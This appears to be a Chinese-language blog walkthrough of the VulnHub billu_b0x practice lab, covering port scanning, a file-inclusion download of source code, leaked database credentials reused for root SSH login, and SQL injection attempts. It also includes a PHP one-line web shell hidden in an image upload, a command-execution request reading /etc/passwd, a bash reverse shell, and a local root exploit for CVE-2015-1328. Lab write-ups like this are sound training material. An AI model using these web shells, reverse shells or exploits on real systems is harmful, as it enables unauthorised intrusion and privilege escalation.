https://www.vulnhub.com/

里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了。

第一步、信息收集

nmap扫描内网开放80端口的存活主机  nmap - p 80 192.168.31.0/24

目标IP192.168.31.16

nmap -p 1-65535  192.168.31.16

目标主机端口探测(开放22端口【考虑可以尝试爆破root】、80端口开放)、且目标主机为linux系统、使用apache2.2中间件

第二步、web服务渗透与提权

提示sql注入,在手工尝试与sqlmap跑post包之后放弃了

御剑爆破一下后台目录

访问192.168.31.16/test.php

提示file参数为空

我们测试一下文件包含

尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计

这里我们看到了文件包含漏洞造成得任意文件下载漏洞得  成因

我们继续下载御剑爆破出来的目录文件与审计代码中发现的文件

在c.php文件中发现了数据库和密码

我们加下来访问192.168.31.16/phpmyadmin失败 ,应该是目录改名了,改一下御剑的字典继续爆破,成功得到phpmyadmin地址phpmy

并成功获得了用户名和密码

我们先不登陆继续看下phpmy目录下有没有可以利用的文件

直接获得了mysql的用户名和密码我们链接下22端口

成功获得了root权限

那我们再回到刚才获得的web用户的账号和密码 看下是不是可以获得webshell

成功登陆后showuser的地方有两个头像火狐浏览器右键查看图像 看到图像地址

我们把头像下载下来

在文件尾部插入一句话

cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

接下来用burp抓一个post包

post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含laodi.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

命令被成功执行了

我们接下来利用该功能用bash反弹一个shell

bash反弹shell先进行url编码

在另一台主机上监听本地8888端口

反弹了一个www权限的shell

接下来肯定是提权了

写入一句话  目录不可写

那我们进入uploaded_images 目录试一下成功了

菜刀连接方便传文件(wget远程下载的话也可以)

看一下内核版本

接下来利用相关版本提权脚本Exploit Title: ofs.c - overlayfs local root in ubuntu

# Date: 2015-06-15

# Exploit Author: rebel

# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04

# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

Exp地址:https://www.exploit-db.com/exploits/37292

给我们上传的脚本一个777权限

Chmod  777  ./*    (或者chmod  777  yun.c)

gcc yun.c -o yun(编译脚本并重命名为yun)

./yun(运行编译后的脚本)

看下是root权限提权成功了

最后我们在回到这个sql注入上

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

测试payload为%27+or+1%3d1+--%5c%27没成功

' or 1=1 --\'依旧没有成功    于是我放弃了sql注入

billu_b0x靶场刷题的更多相关文章

  1. CTF学习路线指南(附刷题练习网址)

    PWN,Reverse:偏重对汇编,逆向的理解: Gypto:偏重对数学,算法的深入学习: Web:偏重对技巧沉淀,快速搜索能力的挑战: Mic:则更为复杂,所有与计算机安全挑战有关的都算在其中 常规 ...

  2. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  3. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  4. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  5. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  6. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  7. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  8. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  9. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

随机推荐

  1. Park Visit(树的直径)

    传送门 Park Visit Time Limit: 6000/3000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)To ...

  2. Brackets(区间dp)

    Brackets Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 8017   Accepted: 4257 Descript ...

  3. 聊聊Java SPI机制

    一.Java SPI机制 SPI(Service Provider Interface)是JDK内置的服务发现机制,用在不同模块间通过接口调用服务,避免对具体服务服务接口具体实现类的耦合.比如JDBC ...

  4. bzoj2973石头游戏——矩阵乘法

    题目:权限题! 写了一下,但提交不了,先放着吧. 代码如下: #include<iostream> #include<cstdio> #include<cstring&g ...

  5. bzoj1911 [Apio2010]特别行动队——斜率优化DP

    题目:https://www.lydsy.com/JudgeOnline/problem.php?id=1911 相当明显的斜率优化,很好做: 注意slp里面要有(double),以免出现精度问题. ...

  6. 【旧文章搬运】PE重定位表学习手记

    原文发表于百度空间,2008-11-02========================================================================== 先定义一下 ...

  7. LeNet-5结构分析及caffe实现————卷积部分

    占坑,记录 1.lenet-5的结构以及部分原理 2.caffe对于lenet-5的代码结构 图一 图一是整个LeNet-5的结构图,要点有:convolutions.subsampling.full ...

  8. 基于事件驱动机制,在Service Mesh中进行消息传递的探讨

    翻译 | 宋松 原文 | https://www.infoq.com/articles/service-mesh-event-driven-messaging 关键点 当前流行的Service Mes ...

  9. 如何在Template Codes 中能够加载所在的Project的Assembly,获取所有Type

    1.首先要获取Project对象 2.分析得到Project对象生成的bin路径,也就是$(TargetPath) 3.Assembly.LoadFromFile( binpath ) 4.asm.G ...

  10. iSCSI 原理和基础使用

    终于完成最后一篇了,一上午的时间就过去了. 下文主要是对基本操作和我对iSCSI的理解,网上有很多iSCSI原理,在这里我就不写了,请自行学习. 这篇文章仅对iSCSI的很多误解做一次梳理,你必须对所 ...